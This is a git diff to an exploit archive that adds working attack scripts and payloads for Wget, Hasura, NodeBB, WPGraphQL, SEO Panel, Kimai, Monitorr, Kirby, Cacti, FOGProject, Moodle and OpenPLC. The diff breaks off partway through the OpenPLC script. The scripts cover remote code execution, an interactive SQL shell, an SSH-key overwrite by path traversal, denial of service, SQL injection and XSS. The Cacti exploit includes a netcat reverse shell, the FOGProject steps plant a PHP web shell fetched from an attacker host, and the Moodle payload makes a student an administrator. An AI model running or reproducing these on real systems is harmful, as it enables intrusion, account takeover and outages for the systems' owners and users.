diff --git a/exploits/hardware/webapps/47287.rb b/exploits/hardware/webapps/47287.rb
index 48eca7846..a1c4a2e0a 100755
--- a/exploits/hardware/webapps/47287.rb
+++ b/exploits/hardware/webapps/47287.rb
@@ -1,4 +1,4 @@
-# Exploit Title: FortiOS Leak file - Reading login/passwords in clear text.
+# Exploit Title: Fortinet FortiOS Leak file - Reading login/passwords in clear text.
 # Google Dork: intext:"Please Login" inurl:"/remote/login"
 # Date: 17/08/2019
 # Exploit Author: Carlos E. Vieira
diff --git a/exploits/hardware/webapps/47288.py b/exploits/hardware/webapps/47288.py
index 8e0cde795..3b7cf322d 100755
--- a/exploits/hardware/webapps/47288.py
+++ b/exploits/hardware/webapps/47288.py
@@ -1,4 +1,4 @@
-# Exploit Title: FortiOS Leak file - Reading login/passwords in clear text.
+# Exploit Title: Fortinet FortiOS Leak file - Reading login/passwords in clear text.
 # Google Dork: intext:"Please Login" inurl:"/remote/login"
 # Date: 17/08/2019
 # Exploit Author: Carlos E. Vieira
diff --git a/exploits/hardware/webapps/49775.html b/exploits/hardware/webapps/49775.html
index ce3832d4d..4622e00ee 100644
--- a/exploits/hardware/webapps/49775.html
+++ b/exploits/hardware/webapps/49775.html
@@ -4,7 +4,7 @@
 # Version: Firmware V02.03.01.45_pt
 # CVE: 2021-31152
 
-# Exploit code:
+# Exploit Code:
 <html>
 	<body>
 		<form action="http://192.168.0.1/goform/setSysTools" method="POST">
@@ -14,9 +14,8 @@
 		    <input name="remoteWebPort" value="8888" type="hidden">
             <input type="submit" value="Submit request">
 		</form>
-	</body>
-	<script>
-		document.forms[0].submit();
-	</script>
+		<script>
+			document.forms[0].submit();
+		</script>
 	</body>
 </html>
\ No newline at end of file
diff --git a/exploits/linux/remote/49815.py b/exploits/linux/remote/49815.py
new file mode 100755
index 000000000..2526442ce
--- /dev/null
+++ b/exploits/linux/remote/49815.py
@@ -0,0 +1,54 @@
+# Exploit Title: GNU Wget < 1.18 - Arbitrary File Upload / Remote Code Execution (2)
+# Original Exploit Author: Dawid Golunski
+# Exploit Author: liewehacksie
+# Version: GNU Wget < 1.18 
+# CVE: CVE-2016-4971
+
+import http.server
+import socketserver
+import socket
+import sys
+
+class wgetExploit(http.server.SimpleHTTPRequestHandler):
+
+   def do_GET(self):
+       # This takes care of sending .wgetrc/.bash_profile/$file
+
+       print("We have a volunteer requesting " + self.path + " by GET :)\n")
+       if "Wget" not in self.headers.get('User-Agent'):
+          print("But it's not a Wget :( \n")
+          self.send_response(200)
+          self.end_headers()
+          self.wfile.write("Nothing to see here...")
+          return
+
+       self.send_response(301)
+       print("Uploading " + str(FILE) + "via ftp redirect vuln. It should land in /home/ \n")
+       new_path = 'ftp://anonymous@{}:{}/{}'.format(FTP_HOST, FTP_PORT, FILE)
+
+       print("Sending redirect to %s \n"%(new_path))
+       self.send_header('Location', new_path)
+       self.end_headers()
+
+
+HTTP_LISTEN_IP = '192.168.72.2'
+HTTP_LISTEN_PORT = 80
+FTP_HOST = '192.168.72.4'
+FTP_PORT = 2121
+FILE = '.bash_profile'
+
+handler = socketserver.TCPServer((HTTP_LISTEN_IP, HTTP_LISTEN_PORT), wgetExploit)
+
+print("Ready? Is your FTP server running?")
+
+sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+result = sock.connect_ex((FTP_HOST, FTP_PORT))
+if result == 0:
+   print("FTP found open on %s:%s. Let's go then\n" % (FTP_HOST, FTP_PORT))
+else:
+   print("FTP is down :( Exiting.")
+   exit(1)
+
+print("Serving wget exploit on port %s...\n\n" % HTTP_LISTEN_PORT)
+
+handler.serve_forever()
\ No newline at end of file
diff --git a/exploits/multiple/webapps/49802.py b/exploits/multiple/webapps/49802.py
new file mode 100755
index 000000000..8449939e6
--- /dev/null
+++ b/exploits/multiple/webapps/49802.py
@@ -0,0 +1,41 @@
+# Exploit Title: Hasura GraphQL 1.3.3 - Remote Code Execution
+# Software: Hasura GraphQL
+# Software Link: https://github.com/hasura/graphql-engine
+# Version: 1.3.3
+# Exploit Author: Dolev Farhi
+# Date: 4/23/2021
+# Tested on: Ubuntu
+
+import requests
+import sys
+
+HASURA_SCHEME = 'http'
+HASURA_HOST = '192.34.57.144'
+HASURA_PORT = 80
+
+print('Start typing shell commands...')
+
+while True:
+  cmd = input('cmd $> ')
+  data =  { "type":"bulk",
+            "args":[
+              {
+                "type":"run_sql",
+                "args":{
+                  "sql":"SET LOCAL statement_timeout = 10000;","cascade":False,"read_only":False}
+              },
+              {
+                "type":"run_sql",
+                "args":{
+                  "sql":"DROP TABLE IF EXISTS cmd_exec;\nCREATE TABLE cmd_exec(cmd_output text);\nCOPY cmd_exec FROM PROGRAM '" + cmd + "';\nSELECT * FROM cmd_exec;","cascade":False,"read_only":False}
+              }
+            ]
+           }
+  endpoint = '{}://{}:{}/v1/query'.format(HASURA_SCHEME, HASURA_HOST, HASURA_PORT)
+  r = requests.post(endpoint, json=data)
+  if r.ok:
+    try:
+      for i in r.json()[1]['result']:
+        print(''.join(i))
+    except:
+      print(r.json())
\ No newline at end of file
diff --git a/exploits/multiple/webapps/49813.py b/exploits/multiple/webapps/49813.py
new file mode 100755
index 000000000..622e5650b
--- /dev/null
+++ b/exploits/multiple/webapps/49813.py
@@ -0,0 +1,66 @@
+# Exploit Title: NodeBB Plugin Emoji 3.2.1 - Arbitrary File Write
+# Date: 2021-02-01
+# Exploit Author: 1F98D
+# Software Link: https://nodebb.org/
+# Version: Emoji for NodeBB <= v3.2.1
+# Tested on: Ubuntu 18.04 (x86)
+# Software Link: https://github.com/NodeBB/nodebb-plugin-emoji
+#
+# The Emoji for NodeBB which is installed by default contains an
+# arbitrary file write vulnerability to insecurely handled user controlled
+# input.
+#
+# This exploit requires administrative access to the NodeBB instance in order
+# to access the emoji upload API.
+# 
+#!/usr/bin/python3
+import requests
+import sys
+import re
+TARGET = 'http://192.168.1.1:4567'
+USERNAME = 'admin'
+PASSWORD = 'password'
+DESTINATION_FILE = '/root/.ssh/authorized_keys'
+SOURCE_FILE = '/home/kali/.ssh/id_rsa.pub'
+headers = { 'User-Agent': 'NotPython' }
+s = requests.Session()
+r = s.get('{}/login'.format(TARGET), headers=headers)
+if r.status_code != 200:
+    print('[!] Error, {}/login unavailable'.format(TARGET))
+    sys.exit(1)
+csrf = re.search('name="_csrf" value="(.+)?" />', r.text, re.IGNORECASE)
+if csrf is None:
+    print('[!] Could not extract csrf token to proceed.')
+    sys.exit(1)
+auth = {
+    'username': USERNAME,
+    'password': PASSWORD,
+    '_csrf': csrf.group(1)
+}
+r = s.post('{}/login'.format(TARGET), headers=headers, data=auth)
+if r.status_code != 200:
+    print('[!] Error, login failed')
+    print('[!] Status: {}'.format(r.status_code))
+    print('[!] Response: {}'.format(r.text))
+    sys.exit(1)
+print('[+] Login successful')
+r = s.get('{}/admin/plugins/emoji'.format(TARGET), headers=headers)
+if r.status_code != 200:
+    print('[!] Error, could not access emoji plugin')
+    print('[!] Status: {}'.format(r.status_code))
+    print('[!] Response: {}'.format(r.text))
+    sys.exit(1)
+print('[+] Emoji plugin is installed')
+files = {
+    'emojiImage': open(SOURCE_FILE)
+}
+data = {
+    'fileName': '../../../../../../..{}'.format(DESTINATION_FILE)
+}
+r = s.post('{}/api/admin/plugins/emoji/upload'.format(TARGET), headers=headers, data=data, files=files)
+if r.status_code != 200:
+    print('[!] Error, could not upload file')
+    print('[!] Status: {}'.format(r.status_code))
+    print('[!] Response: {}'.format(r.text))
+    sys.exit(1)
+print('[+] Successfully uploaded file')
\ No newline at end of file
diff --git a/exploits/php/dos/49807.py b/exploits/php/dos/49807.py
new file mode 100755
index 000000000..b858f62bc
--- /dev/null
+++ b/exploits/php/dos/49807.py
@@ -0,0 +1,55 @@
+# Exploit Title: WordPress Plugin WPGraphQL 1.3.5 - Denial of Service 
+# Author: Dolev Farhi
+# Date: 2021-04-12
+# Vendor Homepage: https://www.wpgraphql.com/
+# Version: 1.3.5 
+# Tested on: Ubuntu
+
+
+"""
+  This attack uses duplication of fields amplified by GraphQL batched queries, resulting in server OOM and MySQL connection errors.
+"""
+
+import sys
+import requests
+
+
+def usage():
+  print('* WordPress GraphQL 1.3.5 Denial of Service *')
+  print('python {} <wordpress_url> <number_of_field_duplications> <number_of_chained_queries>'.format(sys.argv[0]))
+  print('python {} http://site.com 10000 100'.format(sys.argv[0]))
+  sys.exit(1)
+
+if len(sys.argv) < 4:
+  print('Missing arguments!')
+  usage()
+
+def wpgql_exists():
+  try:
+    r = requests.post(WORDPRESS_URL, json='x')
+    if 'GraphQL' in r.json()['errors'][0]['message']:
+      return True
+  except:
+    pass
+  return False
+
+# This PoC assumes graphql is located at index.php?graphql
+WORDPRESS_URL = sys.argv[1] + '/index.php?graphql'
+FORCE_MULTIPLIER = int(sys.argv[2])
+CHAINED_REQUESTS = int(sys.argv[3])
+
+if wpgql_exists is False:
+  print('Could not identify GraphQL running at "/index.php?graphql"')
+  sys.exit(1)
+
+queries = []
+
+payload = 'content \n comments { \n nodes { \n content } }' * FORCE_MULTIPLIER
+query = {'query':'query { \n posts { \n nodes { \n ' + payload + '} } }'}
+
+for _ in range(0, CHAINED_REQUESTS):
+  queries.append(query)
+
+r = requests.post(WORDPRESS_URL, json=queries)
+print('Time took: {} seconds '.format(r.elapsed.total_seconds()))
+print('Response:', r.json())
\ No newline at end of file
diff --git a/exploits/php/webapps/49642.txt b/exploits/php/webapps/49642.txt
index 8264bcba8..1b2b9d016 100644
--- a/exploits/php/webapps/49642.txt
+++ b/exploits/php/webapps/49642.txt
@@ -5,7 +5,7 @@
 # Software Link: https://github.com/TribalSystems/Zenario/releases/tag/8.8
 # Version: 8.8.53370
 # Tested on: Windows 10 Pro 19041 (x64_86) + XAMPP 7.4.14
-
+# CVE: CVE-2021-26830
 # Reference - https://edhunter484.medium.com/blind-sql-injection-on-zenario-cms-b58b6820c32d
 
 Step 1 - Login to the zenario cms with admin credentials.
diff --git a/exploits/php/webapps/49666.txt b/exploits/php/webapps/49666.txt
index f0db91ef8..c09f918d5 100644
--- a/exploits/php/webapps/49666.txt
+++ b/exploits/php/webapps/49666.txt
@@ -1,4 +1,4 @@
-# Exploit Title: SEO Panel 4.8.0 - 'order_col' Blind SQL Injection
+# Exploit Title: SEO Panel 4.8.0 - 'order_col' Blind SQL Injection (1)
 # Date: 17/02/2021
 # Exploit Author: Piyush Patil
 # Vendor Homepage: https://www.seopanel.org/
diff --git a/exploits/php/webapps/49804.py b/exploits/php/webapps/49804.py
new file mode 100755
index 000000000..b2cff60c4
--- /dev/null
+++ b/exploits/php/webapps/49804.py
@@ -0,0 +1,59 @@
+# Exploit Title: SEO Panel 4.8.0 - 'order_col' Blind SQL Injection (2)
+# Author: nu11secur1ty
+# Testing and Debugging: nu11secur1ty
+# Date: 04/25/2021
+# Vendor: https://www.seopanel.org/
+# Link: https://www.seopanel.org/spdownload/4.8.0
+# CVE: CVE-2021-28419
+
+[+] Exploit Source:
+
+#!/usr/bin/python3
+# Author: @nu11secur1ty
+# CVE-2021-28419
+
+from selenium import webdriver
+import time
+
+
+#enter the link to the website you want to automate login.
+website_link="http://192.168.1.3/seopanel/login.php"
+
+#enter your login username
+username="spadmin"
+
+#enter your login password
+password="spadmin"
+
+#enter the element for username input field
+element_for_username="userName"
+
+#enter the element for password input field
+element_for_password="password"
+
+#enter the element for submit button
+element_for_submit="login"
+
+
+browser = webdriver.Chrome()
+browser.get((website_link))
+
+try:
+username_element = browser.find_element_by_name(element_for_username)
+username_element.send_keys(username)
+password_element  = browser.find_element_by_name(element_for_password)
+password_element.send_keys(password)
+signInButton = browser.find_element_by_name(element_for_submit)
+signInButton.click()
+
+# Exploit
+browser.get(("
+http://192.168.1.3/seopanel/archive.php?from_time=2021-04-25&order_col=(SELECT
+7397 FROM
+(SELECT(SLEEP(15)))nu11secur1ty)&order_val=DESC&report_type=website-search-reports&search_name=&sec=viewWebsiteSearchSummary&to_time=2021-04-25&website_id=1"))
+
+print("payload is deployed MySQL is not responding correctly...\n")
+
+except Exception:
+#### This exception occurs if the element are not found in the webpage.
+print("Some error occured :(")
\ No newline at end of file
diff --git a/exploits/php/webapps/49805.txt b/exploits/php/webapps/49805.txt
new file mode 100644
index 000000000..5e0ae8095
--- /dev/null
+++ b/exploits/php/webapps/49805.txt
@@ -0,0 +1,20 @@
+# Exploit Title: Kimai 1.14 - CSV Injection
+# Date: 26/04/2021
+# Exploit Author: Mohammed Aloraimi
+# Vendor Homepage: https://www.kimai.org/
+# Software Link: https://github.com/kevinpapst/kimai2
+# Version: 1.14 <https://github.com/kevinpapst/kimai2/releases/tag/1.14>
+# Payload:  @SUM(1+9)*cmd|' /C calc'!A0
+# Tested on: Win10x64
+# Proof Of Concept:
+CSV Injection (aka Excel Macro Injection or Formula Injection) exists in
+creating new timesheet in Kimai. By filling the Description field with malicious
+payload, it will be mistreated while exporting to a CSV file.
+
+To exploit this vulnerability:
+1- Login as user.
+2- Create new timesheet.
+3- Fill the description with the malicious payload.
+4- Save the timesheet.
+5- Export it via CSV.
+6- Open the CSV file, allow all popups and our payload is executed(calculator is opened).
\ No newline at end of file
diff --git a/exploits/php/webapps/49806.txt b/exploits/php/webapps/49806.txt
new file mode 100644
index 000000000..1f8763d8e
--- /dev/null
+++ b/exploits/php/webapps/49806.txt
@@ -0,0 +1,25 @@
+# Exploit Title: Montiorr 1.7.6m - File Upload to XSS
+# Date: 25/4/2021
+# Exploit Author: Ahmad Shakla
+# Software Link: https://github.com/Monitorr/Monitorr
+# Tested on: Kali GNU/Linux 2020.2
+# Detailed Bug Description : https://arabcyberclub.blogspot.com/2021/04/monitor-176m-file-upload-to-xss.html
+
+An attacker can preform an XSS attack via image upload
+
+Steps :
+
+1)Create a payload with the following format :
+><img src=x onerror=alert("XSS")>.png
+
+2) Install the database by going to the following link :
+https://monitorr.robyns-petshop.thm/assets/config/_installation/vendor/_install.php
+
+3)Register for a new account on the server by going to the following link :
+https://monitorr.robyns-petshop.thm/assets/config/_installation/vendor/login.php?action=register
+
+4)Login with your credentials on the following link :
+https://monitorr.robyns-petshop.thm/assets/config/_installation/vendor/login.php
+
+5)Go to the following link and upload the payload :
+https://monitorr.robyns-petshop.thm/settings.php#services-configuration
\ No newline at end of file
diff --git a/exploits/php/webapps/49808.txt b/exploits/php/webapps/49808.txt
new file mode 100644
index 000000000..e03a68be0
--- /dev/null
+++ b/exploits/php/webapps/49808.txt
@@ -0,0 +1,40 @@
+# Exploit Title: Kirby CMS 3.5.3.1 - 'file' Cross-Site Scripting (XSS)
+# Date: 21-04-2021
+# Exploit Author: Sreenath Raghunathan
+# Vendor Homepage: https://getkirby.com/
+# Software Link: https://github.com/getkirby/kirby
+# Version: 3.5.3.1(REQUIRED)
+# CVE : CVE-2021-29460
+
+POST /api/users/<userid>/avatar HTTP/1.1
+Host: <host>
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0)
+Gecko/20100101 Firefox/87.0
+Accept: */*
+Accept-Language: en-US,en;q=0.5
+Accept-Encoding: gzip, deflate
+X-CSRF: <redacted>
+Content-Type: multipart/form-data;
+boundary=---------------------------286121627839893676321700902916
+Content-Length: 563
+
+Connection: close
+Cookie:
+<redacted>
+
+
+
+-----------------------------286121627839893676321700902916
+Content-Disposition: form-data; name="file"; filename="svgxss.svg"
+Content-Type: image/svg+xml
+
+<?xml version="1.0" standalone="no"?>
+<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
+"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
+
+<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
+  <polygon id="triangle" points="0,0 0,500 500,0" fill="#009900"
+stroke="#004400"/>
+  "><script>alert(1)</script>
+</svg>
+-----------------------------286121627839893676321700902916--
\ No newline at end of file
diff --git a/exploits/php/webapps/49810.py b/exploits/php/webapps/49810.py
new file mode 100755
index 000000000..ce76bdcce
--- /dev/null
+++ b/exploits/php/webapps/49810.py
@@ -0,0 +1,92 @@
+# Exploit Title: Cacti 1.2.12 - 'filter' SQL Injection / Remote Code Execution
+# Date: 04/28/2021
+# Exploit Author: Leonardo Paiva
+# Vendor Homepage: https://www.cacti.net/
+# Software Link: https://www.cacti.net/downloads/cacti-1.2.12.tar.gz
+# Version: 1.2.12
+# Tested on: Ubuntu 20.04
+# CVE : CVE-2020-14295
+# Credits: @M4yFly (https://twitter.com/M4yFly)
+# References:
+# https://github.commandcom/Cacti/cacti/issues/3622
+# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14295
+
+#!/usr/bin/python3
+
+import argparse
+import requests
+import sys
+import urllib.parse
+from bs4 import BeautifulSoup
+
+# proxies = {'http': 'http://127.0.0.1:8080'}
+
+
+def login(url, username, password, session):
+    print("[+] Connecting to the server...")
+    get_token_request = session.get(url + "/cacti/index.php", timeout=5) #, proxies=proxies)
+
+    print("[+] Retrieving CSRF token...")
+    html_content = get_token_request.text
+    soup = BeautifulSoup(html_content, 'html.parser')
+
+    csrf_token = soup.find_all('input')[0].get('value').split(';')[0]
+
+    if csrf_token:
+        print(f"[+] Got CSRF token: {csrf_token}")
+        print("[+] Trying to log in...")
+
+        data = {
+            '__csrf_magic': csrf_token,
+            'action': 'login',
+            'login_username': username,
+            'login_password': password
+        }
+
+        login_request = session.post(url + "/cacti/index.php", data=data) #, proxies=proxies)
+        if "Invalid User Name/Password Please Retype" in login_request.text:
+            print("[-] Unable to log in. Check your credentials")
+            sys.exit()
+        else:
+            print("[+] Successfully logged in!")
+    else:
+        print("[-] Unable to retrieve CSRF token!")
+        sys.exit()
+
+
+def exploit(lhost, lport, session):
+    rshell = urllib.parse.quote(f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {lhost} {lport} >/tmp/f")
+    payload = f"')+UNION+SELECT+1,username,password,4,5,6,7+from+user_auth;update+settings+set+value='{rshell};'+where+name='path_php_binary';--+-"
+
+    exploit_request = session.get(url + f"/cacti/color.php?action=export&header=false&filter=1{payload}") #, proxies=proxies)
+
+    print("\n[+] SQL Injection:")
+    print(exploit_request.text)
+
+    try:
+        session.get(url + "/cacti/host.php?action=reindex", timeout=1) #, proxies=proxies)
+    except Exception:
+        pass
+
+    print("[+] Check your nc listener!")
+
+if __name__ == '__main__':
+    parser = argparse.ArgumentParser(description='[*] Cacti 1.2.12 - SQL Injection / Remote Code Execution')
+
+    parser.add_argument('-t', metavar='<target/host URL>', help='target/host URL, example: http://192.168.15.58', required=True)
+    parser.add_argument('-u', metavar='<user>', help='user to log in', required=True)
+    parser.add_argument('-p', metavar='<password>', help="user's password", required=True)
+    parser.add_argument('--lhost', metavar='<lhost>', help='your IP address', required=True)
+    parser.add_argument('--lport', metavar='<lport>', help='your listening port', required=True)
+    args = parser.parse_args()
+
+    url = args.t
+    username = args.u
+    password = args.p
+    lhost = args.lhost
+    lport = args.lport
+
+    session = requests.Session()
+
+    login(url, username, password, session)
+    exploit(lhost, lport, session)
\ No newline at end of file
diff --git a/exploits/php/webapps/49811.txt b/exploits/php/webapps/49811.txt
new file mode 100644
index 000000000..d78f8e168
--- /dev/null
+++ b/exploits/php/webapps/49811.txt
@@ -0,0 +1,31 @@
+# Exploit Title: FOGProject 1.5.9 - File Upload RCE (Authenticated)
+# Date: 2021-04-28
+# Exploit Author: sml@lacashita.com
+# Vendor Homepage: https://fogproject.org
+# Software Link: https://github.com/FOGProject/fogproject/archive/1.5.9.zip
+# Tested on: Debian 10
+
+On the Attacker Machine:
+
+1) Create an empty 10Mb file.
+dd if=/dev/zero of=myshell bs=10485760 count=1
+
+2) Add your PHP code to the end of the file created in the step 1.
+echo '<?php $cmd=$_GET["cmd"]; system($cmd); ?>' >> myshell
+
+3) Put the file "myshell" accessible through HTTP.
+$ cp myshell /var/www/html
+
+4) Encode the URL to get "myshell" file to base64 (Replacing Attacker IP).
+$ echo "http://ATTACKER_IP/myshell" | base64
+aHR0cDovLzE5Mi4xNjguMS4xMDIvbXlzaGVsbAo=
+
+5) Visit 
+http://VICTIM_IP/fog/management/index.php?node=about&sub=kernel&file=<YOUR_MYSHELL_URL_HERE>=&arch=arm64
+Example:
+http://192.168.1.120/fog/management/index.php?node=about&sub=kernel&file=aHR0cDovLzE5Mi4xNjguMS4xMDIvbXlzaGVsbAo=&arch=arm64
+
+6) Appears a textbox, change the Kernel Name (bzImage32) to myshell.php 
+and click on Install.
+
+7) Visit http://VICTIM_IP/fog/service/ipxe/myshell.php?cmd=hostname
\ No newline at end of file
diff --git a/exploits/php/webapps/49814.txt b/exploits/php/webapps/49814.txt
new file mode 100644
index 000000000..7d0e5d370
--- /dev/null
+++ b/exploits/php/webapps/49814.txt
@@ -0,0 +1,81 @@
+# Exploit Title: Moodle 3.6.1 - Persistent Cross-Site Scripting (XSS)
+# Date: 04/2021
+# Exploit Author: farisv
+# Vendor Homepage: https://moodle.org/
+# Software Link: https://download.moodle.org https://github.com/moodle/moodle/archive/refs/tags/v3.6.1.zip
+# Version: Moodle < 3.6.2, < 3.5.4, < 3.4.7, < 3.1.16
+# CVE: CVE-2019-3810
+
+Moodle is a learning platform designed to provide educators, administrators,
+and learners with a single robust, secure and integrated system to create
+personalised learning environments.
+
+The following is PoC to use the XSS bug on /userpix/ (CVE-2019-3810) for
+privilege escalation from student to administrator.
+
+1. Upload the XSS payload [1] to pastebin or other similar service.
+   Change the value of userid to your own id.
+   Let's say the URL is https://pastebin.com/raw/xxxxxxxx.
+2. Login to your student account.
+3. Set first name with:
+   " style="position:fixed;height:100%;width:100%;top:0;left:0" onmouseover="x=document.createElement
+4. Set surname with:
+  ('script');x.src='https://pastebin.com/raw/xxxxxxxx';document.body.appendChild(x); alert('XSS')
+5. Ask the administrator to open /userpix/ page or put the link to that page
+   on your post and wait.
+
+If successful, your account will be added as administrator.
+
+See the demonstration video on https://github.com/farisv/Moodle-CVE-2019-3810
+
+[1] XSS Payload for privilege escalation on Moodle. Change the value of userid to your id.
+
+var webroot = '/';
+var userid = '3';
+var sesskey = '';
+
+function get(path, success) {
+    var xhr = new XMLHttpRequest();
+    xhr.open('GET', webroot + path);
+    xhr.onreadystatechange = function() {
+        if (xhr.readyState > 3 && xhr.status == 200) {
+            success(xhr.responseText);
+        }
+    };
+    xhr.send();
+    return xhr;
+}
+
+function post(path, data, success) {
+    var xhr = new XMLHttpRequest();
+    xhr.open('POST', webroot + path);
+    xhr.onreadystatechange = function() {
+        if (xhr.readyState > 3 && xhr.status == 200) {
+            success(xhr.responseText);
+        }
+    };
+    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
+    xhr.send(encodeURI(data));
+    return xhr;
+}
+
+function setAdmin() {
+    // Assign administrator access to userid
+    bpath = 'admin/roles/admins.php';
+    data = "confirmadd=" + userid + "&sesskey=" + sesskey;
+    post(bpath, data, function(data){});
+}
+
+function getSesskey(data) {
+    var sesskey_find = data.indexOf('"sesskey":"');
+    sesskey = data.substr(sesskey_find + 11, 10);
+    setAdmin();
+}
+
+function payload() {
+    // We can find Sesskey inside JS script in main page
+    get('', getSesskey);
+}
+
+// Start
+payload();
\ No newline at end of file
diff --git a/exploits/python/webapps/49803.py b/exploits/python/webapps/49803.py
new file mode 100755
index 000000000..a91032e48
--- /dev/null
+++ b/exploits/python/webapps/49803.py
@@ -0,0 +1,109 @@
+# Exploit Title: OpenPLC 3 - Remote Code Execution (Authenticated)
+# Date: 25/04/2021
+# Exploit Author: Fellipe Oliveira
+# Vendor Homepage: https://www.openplcproject.com/
+# Software Link: https://github.com/thiagoralves/OpenPLC_v3
+# Version: OpenPLC v3
+# Tested on: Ubuntu 16.04,Debian 9,Debian 10 Buster
+
+#/usr/bin/python3
+
+import requests
+import sys
+import time
+import optparse
+import re
+
+parser = optparse.OptionParser()
+parser.add_option('-u', '--url', action="store", dest="url", help="Base target uri (ex. http://target-uri:8080)")
+parser.add_option('-l', '--user', action="store", dest="user", help="User credential to login")
+parser.add_option('-p', '--passw', action="store", dest="passw", help="Pass credential to login")
+parser.add_option('-i', '--rip', action="store", dest="rip", help="IP for Reverse Connection")
+parser.add_option('-r', '--rport', action="store", dest="rport", help="Port for Reverse Connection")
+
+options, args = parser.parse_args()
+if not options.url:
+    print('[+] Remote Code Execution on OpenPLC_v3 WebServer')
+    print('[+] Specify an url target')
+    print("[+] Example usage: exploit.py -u http://target-uri:8080 -l admin -p admin -i 192.168.1.54 -r 4444")
+    exit()
+
+host = options.url
+login = options.url + '/login' 
+upload_program = options.url + '/programs'
+compile_program = options.url + '/compile-program?file=681871.st' 
+run_plc_server = options.url + '/start_plc'
+user = options.user
+password = options.passw
+rev_ip = options.rip
+rev_port = options.rport
+x = requests.Session()
+
+def auth():
+    print('[+] Remote Code Execution on OpenPLC_v3 WebServer')
+    time.sleep(1)
+    print('[+] Checking if host '+host+' is Up...')
+    host_up = x.get(host)
+    try:
+        if host_up.status_code == 200:
+            print('[+] Host Up! ...')
+    except:
+        print('[+] This host seems to be down :( ')
+        sys.exit(0)
+
+    print('[+] Trying to authenticate with credentials '+user+':'+password+'') 
+    time.sleep(1)   
+    submit = {
+        'username': user,
+        'password': password
+    }
+    x.post(login, data=submit)
+    response = x.get(upload_program)
+            
+    if len(response.text) > 30000 and response.status_code == 200:
+        print('[+] Login success!')
+        time.sleep(1)
+    else:
+        print('[x] Login failed :(')
+        sys.exit(0)  
+
+def injection():
+    print('[+] PLC program uploading... ')
+    upload_url = host + "/upload-program" 
+    upload_cookies = {"session": ".eJw9z7FuwjAUheFXqTx3CE5YInVI5RQR6V4rlSPrekEFXIKJ0yiASi7i3Zt26HamT-e_i83n6M-tyC_j1T-LzXEv8rt42opcIEOCCtgFysiWKZgic-otkK2XLr53zhQTylpiOC2cKTPkYt7NDSMlJJtv4NcO1Zq1wQhMqbYk9YokMSWgDgnK6qRXVevsbPC-1bZqicsJw2F2YeksTWiqANwkNFsQXdSKUlB16gIskMsbhF9_9yIe8_fBj_Gj9_3lv-Z69uNfkvgafD90O_H4ARVeT-s.YGvgPw.qwEcF3rMliGcTgQ4zI4RInBZrqE"}
+    upload_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "multipart/form-data; boundary=---------------------------210749863411176965311768214500", "Origin": host, "Connection": "close", "Referer": host + "/programs", "Upgrade-Insecure-Requests": "1"} 
+    upload_data = "-----------------------------210749863411176965311768214500\r\nContent-Disposition: form-data; name=\"file\"; filename=\"program.st\"\r\nContent-Type: application/vnd.sailingtracker.track\r\n\r\nPROGRAM prog0\n  VAR\n    var_in : BOOL;\n    var_out : BOOL;\n  END_VAR\n\n  var_out := var_in;\nEND_PROGRAM\n\n\nCONFIGURATION Config0\n\n  RESOURCE Res0 ON PLC\n    TASK Main(INTERVAL := T#50ms,PRIORITY := 0);\n    PROGRAM Inst0 WITH Main : prog0;\n  END_RESOURCE\nEND_CONFIGURATION\n\r\n-----------------------------210749863411176965311768214500\r\nContent-Disposition: form-data; name=\"submit\"\r\n\r\nUpload Program\r\n-----------------------------210749863411176965311768214500--\r\n"
+    upload = x.post(upload_url, headers=upload_headers, cookies=upload_cookies, data=upload_data)
+
+    act_url = host + "/upload-program-action"
+    act_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "multipart/form-data; boundary=---------------------------374516738927889180582770224000", "Origin": host, "Connection": "close", "Referer": host + "/upload-program", "Upgrade-Insecure-Requests": "1"}
+    act_data = "-----------------------------374516738927889180582770224000\r\nContent-Disposition: form-data; name=\"prog_name\"\r\n\r\nprogram.st\r\n-----------------------------374516738927889180582770224000\r\nContent-Disposition: form-data; name=\"prog_descr\"\r\n\r\n\r\n-----------------------------374516738927889180582770224000\r\nContent-Disposition: form-data; name=\"prog_file\"\r\n\r\n681871.st\r\n-----------------------------374516738927889180582770224000\r\nContent-Disposition: form-data; name=\"epoch_time\"\r\n\r\n1617682656\r\n-----------------------------374516738927889180582770224000--\r\n"
+    upload_act = x.post(act_url, headers=act_headers, data=act_data)
+    time.sleep(2)
+
+def connection():
+    print('[+] Attempt to Code injection...')
+    inject_url = host + "/hardware"
+    inject_dash = host + "/dashboard"
+    inject_cookies = {"session": ".eJw9z7FuwjAUheFXqTx3CE5YInVI5RQR6V4rlSPrekEFXIKJ0yiASi7i3Zt26HamT-e_i83n6M-tyC_j1T-LzXEv8rt42opcIEOCCtgFysiWKZgic-otkK2XLr53zhQTylpiOC2cKTPkYt7NDSMlJJtv4NcO1Zq1wQhMqbYk9YokMSWgDgnK6qRXVevsbPC-1bZqicsJw2F2YeksTWiqANwkNFsQXdSKUlB16gIskMsbhF9_9yIe8_fBj_Gj9_3lv-Z69uNfkvgafD90O_H4ARVeT-s.YGvyFA.2NQ7ZYcNZ74ci2miLkefHCai2Fk"}
+    inject_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "multipart/form-data; boundary=---------------------------289530314119386812901408558722", "Origin": host, "Connection": "close", "Referer": host + "/hardware", "Upgrade-Insecure-Requests": "1"}
